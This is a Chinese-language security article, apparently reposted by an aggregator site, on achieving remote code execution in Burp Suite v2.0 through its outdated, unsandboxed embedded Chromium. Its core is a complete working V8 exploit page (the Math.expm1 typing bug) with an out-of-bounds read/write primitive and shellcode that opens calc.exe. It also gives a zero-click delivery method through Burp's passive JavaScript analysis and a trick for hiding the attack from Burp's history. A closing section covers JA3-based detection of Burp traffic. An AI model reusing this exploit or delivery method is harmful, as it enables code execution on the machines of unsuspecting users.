一、前言
Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。
本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。
二、軟件分析
以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。
將burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。 在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄 從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。 當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。
browsercore32.exe進程運行參數如下:
C
: \Users\user\AppData\Local\JxBrowser\browsercore
- 64.0 .3282 .24 . unknown\browsercore32
. exe
-- port
= 53070 -- pid
= 13208 -- dpi
- awareness
= system
- aware
-- crash
- dump
- dir
= C
: \Users\user\AppData\Local\JxBrowser
-- lang
= zh
- CN
-- no
- sandbox
-- disable
- xss
- auditor
-- headless
-- disable
- gpu
-- log
- level
= 2 -- proxy
- server
= "socks://127.0.0.1:0" -- disable
- bundled
- ppapi
- flash
-- disable
- plugins
- discovery
-- disable
- default - apps
-- disable
- extensions
-- disable
- prerender
- local
- predictor
-- disable
- save
- password
- bubble
-- disable
- sync
-- disk
- cache
- size
= 0 -- incognito
-- media
- cache
- size
= 0 -- no
- events
-- disable
- settings
- window
C
: \Users\user\AppData\Local\JxBrowser\browsercore
- 64.0 .3282 .24 . unknown\browsercore32
. exe
-- type
= renderer
-- log
- level
= 2 -- no
- sandbox
-- disable
- features
= LoadingWithMojo
, browser
- side
- navigation
-- disable
- databases
-- disable
- gpu
- compositing
-- service
- pipe
- token
= C06434E20AA8C9230D15FCDFE9C96993
-- lang
= zh
- CN
-- crash
- dump
- dir
= "C:\Users\user\AppData\Local\JxBrowser" -- enable
- pinch
-- device
- scale
- factor
= 1 -- num
- raster
- threads
= 1 -- enable
- gpu
- async
- worker
- context
-- disable
- accelerated
- video
- decode
-- service
- request
- channel
- token
= C06434E20AA8C9230D15FCDFE9C96993
-- renderer
- client
- id
= 2 -- mojo
- platform
- channel
- handle
= 2564 / prefetch
: 1
從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。 【學習資料】
三、漏洞利用
Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。
Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。
以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)
這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。 該漏洞的Root Cause是在進行Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。
< html
>
< head
> < / head
>
< / body
>
< script
>
function
pwn ( ) { var f64Arr
= new
Float64Array ( 1 ) ; var u32Arr
= new
Uint32Array ( f64Arr
. buffer
) ; function
f2u ( f
) { f64Arr
[ 0 ] = f
; return u32Arr
; } function
u2f ( h
, l
) { u32Arr
[ 0 ] = l
; u32Arr
[ 1 ] = h
; return f64Arr
[ 0 ] ; } function
hex ( i
) { return "0x" + i
. toString ( 16 ) . padStart ( 8 , "0" ) ; } function
log ( str
) { console
. log ( str
) ; document
. body
. innerText
+= str
+ '\n' ; } var big_arr
= [ 1.1 , 1.2 ] ; var ab
= new
ArrayBuffer ( 0x233 ) ; var data_view
= new
DataView ( ab
) ; function
opt_me ( x
) { var oob_arr
= [ 1.1 , 1.2 , 1.3 , 1.4 , 1.5 , 1.6 ] ; big_arr
= [ 1.1 , 1.2 ] ; ab
= new
ArrayBuffer ( 0x233 ) ; data_view
= new
DataView ( ab
) ; let obj
= { a
: - 0 } ; let idx
= Object
. is ( Math
. expm1 ( x
) , obj
. a
) * 10 ; var tmp
= f2u ( oob_arr
[ idx
] ) [ 0 ] ; oob_arr
[ idx
] = u2f ( 0x234 , tmp
) ; } for ( let a
= 0 ; a
< 0x1000 ; a
++ ) opt_me ( 0 ) ; opt_me ( - 0 ) ; var optObj
= { flag
: 0x266 , funcAddr
: opt_me
} ; log ( "[+] big_arr.length: " + big_arr
. length
) ; if ( big_arr
. length
!= 282 ) { log ( "[-] Can not modify big_arr length !" ) ; return ; } var backing_store_idx
= - 1 ; var backing_store_in_hign_mem
= false
; var OptObj_idx
= - 1 ; var OptObj_idx_in_hign_mem
= false
; for ( let a
= 0 ; a
< 0x100 ; a
++ ) { if ( backing_store_idx
== - 1 ) { if ( f2u ( big_arr
[ a
] ) [ 0 ] == 0x466 ) { backing_store_in_hign_mem
= true
; backing_store_idx
= a
; } else if ( f2u ( big_arr
[ a
] ) [ 1 ] == 0x466 ) { backing_store_in_hign_mem
= false
; backing_store_idx
= a
+ 1 ; } } else if ( OptObj_idx
== - 1 ) { if ( f2u ( big_arr
[ a
] ) [ 0 ] == 0x4cc ) { OptObj_idx_in_hign_mem
= true
; OptObj_idx
= a
; } else if ( f2u ( big_arr
[ a
] ) [ 1 ] == 0x4cc ) { OptObj_idx_in_hign_mem
= false
; OptObj_idx
= a
+ 1 ; } } } if ( backing_store_idx
== - 1 ) { log ( "[-] Can not find backing store !" ) ; return ; } else log ( "[+] backing store idx: " + backing_store_idx
+ ", in " + ( backing_store_in_hign_mem
? "high" : "low" ) + " place." ) ; if ( OptObj_idx
== - 1 ) { log ( "[-] Can not find Opt Obj !" ) ; return ; } else log ( "[+] OptObj idx: " + OptObj_idx
+ ", in " + ( OptObj_idx_in_hign_mem
? "high" : "low" ) + " place." ) ; var backing_store
= ( backing_store_in_hign_mem
? f2u ( big_arr
[ backing_store_idx
] ) [ 1 ] : f2u ( big_arr
[ backing_store_idx
] ) [ 0 ] ) ; log ( "[+] Origin backing store: " + hex ( backing_store
) ) ; var dataNearBS
= ( ! backing_store_in_hign_mem
? f2u ( big_arr
[ backing_store_idx
] ) [ 1 ] : f2u ( big_arr
[ backing_store_idx
] ) [ 0 ] ) ; function
read ( addr
) { if ( backing_store_in_hign_mem
) big_arr
[ backing_store_idx
] = u2f ( addr
, dataNearBS
) ; else big_arr
[ backing_store_idx
] = u2f ( dataNearBS
, addr
) ; return data_view
. getInt32 ( 0 , true
) ; } function
write ( addr
, msg
) { if ( backing_store_in_hign_mem
) big_arr
[ backing_store_idx
] = u2f ( addr
, dataNearBS
) ; else big_arr
[ backing_store_idx
] = u2f ( dataNearBS
, addr
) ; data_view
. setInt32 ( 0 , msg
, true
) ; } var OptJSFuncAddr
= ( OptObj_idx_in_hign_mem
? f2u ( big_arr
[ OptObj_idx
] ) [ 1 ] : f2u ( big_arr
[ OptObj_idx
] ) [ 0 ] ) - 1 ; log ( "[+] OptJSFuncAddr: " + hex ( OptJSFuncAddr
) ) ; var OptJSFuncCodeAddr
= read ( OptJSFuncAddr
+ 0x18 ) - 1 ; log ( "[+] OptJSFuncCodeAddr: " + hex ( OptJSFuncCodeAddr
) ) ; var RWX_Mem_Addr
= OptJSFuncCodeAddr
+ 0x40 ; log ( "[+] RWX Mem Addr: " + hex ( RWX_Mem_Addr
) ) ; var shellcode
= new
Uint8Array ( [ 0x89 , 0xe5 , 0x83 , 0xec , 0x20 , 0x31 , 0xdb , 0x64 , 0x8b , 0x5b , 0x30 , 0x8b , 0x5b , 0x0c , 0x8b , 0x5b , 0x1c , 0x8b , 0x1b , 0x8b , 0x1b , 0x8b , 0x43 , 0x08 , 0x89 , 0x45 , 0xfc , 0x8b , 0x58 , 0x3c , 0x01 , 0xc3 , 0x8b , 0x5b , 0x78 , 0x01 , 0xc3 , 0x8b , 0x7b , 0x20 , 0x01 , 0xc7 , 0x89 , 0x7d , 0xf8 , 0x8b , 0x4b , 0x24 , 0x01 , 0xc1 , 0x89 , 0x4d , 0xf4 , 0x8b , 0x53 , 0x1c , 0x01 , 0xc2 , 0x89 , 0x55 , 0xf0 , 0x8b , 0x53 , 0x14 , 0x89 , 0x55 , 0xec , 0xeb , 0x32 , 0x31 , 0xc0 , 0x8b , 0x55 , 0xec , 0x8b , 0x7d , 0xf8 , 0x8b , 0x75 , 0x18 , 0x31 , 0xc9 , 0xfc , 0x8b , 0x3c , 0x87 , 0x03 , 0x7d , 0xfc , 0x66 , 0x83 , 0xc1 , 0x08 , 0xf3 , 0xa6 , 0x74 , 0x05 , 0x40 , 0x39 , 0xd0 , 0x72 , 0xe4 , 0x8b , 0x4d , 0xf4 , 0x8b , 0x55 , 0xf0 , 0x66 , 0x8b , 0x04 , 0x41 , 0x8b , 0x04 , 0x82 , 0x03 , 0x45 , 0xfc , 0xc3 , 0xba , 0x78 , 0x78 , 0x65 , 0x63 , 0xc1 , 0xea , 0x08 , 0x52 , 0x68 , 0x57 , 0x69 , 0x6e , 0x45 , 0x89 , 0x65 , 0x18 , 0xe8 , 0xb8 , 0xff , 0xff , 0xff , 0x31 , 0xc9 , 0x51 , 0x68 , 0x2e , 0x65 , 0x78 , 0x65 , 0x68 , 0x63 , 0x61 , 0x6c , 0x63 , 0x89 , 0xe3 , 0x41 , 0x51 , 0x53 , 0xff , 0xd0 , 0x31 , 0xc9 , 0xb9 , 0x01 , 0x65 , 0x73 , 0x73 , 0xc1 , 0xe9 , 0x08 , 0x51 , 0x68 , 0x50 , 0x72 , 0x6f , 0x63 , 0x68 , 0x45 , 0x78 , 0x69 , 0x74 , 0x89 , 0x65 , 0x18 , 0xe8 , 0x87 , 0xff , 0xff , 0xff , 0x31 , 0xd2 , 0x52 , 0xff , 0xd0 , 0x90 , 0x90 , 0xfd , 0xff ] ) ; log ( "[+] writing shellcode ... " ) ; for ( let i
= 0 ; i
< shellcode
. length
; i
++ ) write ( RWX_Mem_Addr
+ i
, shellcode
[ i
] ) ; log ( "[+] execute shellcode !" ) ; opt_me ( ) ;
}
pwn ( ) ;
< / script
>
< / body
>
< / html
>
用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。
四、進階攻擊
Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。 其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies) JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。
額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。
額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。
GET
/ xxx
. js HTTP
/ 1.1
Host
: www
. xxx
. com
Connection
: close
Cookie
: JSESSIONID
= 3 B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:
五、流量特征檢測
默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。
以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。 不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。
本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。 學習安全,就來找我
【學習資料】
總結
以上是生活随笔 為你收集整理的反制爬虫之Burp Suite RCE 的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔 網站內容還不錯,歡迎將生活随笔 推薦給好友。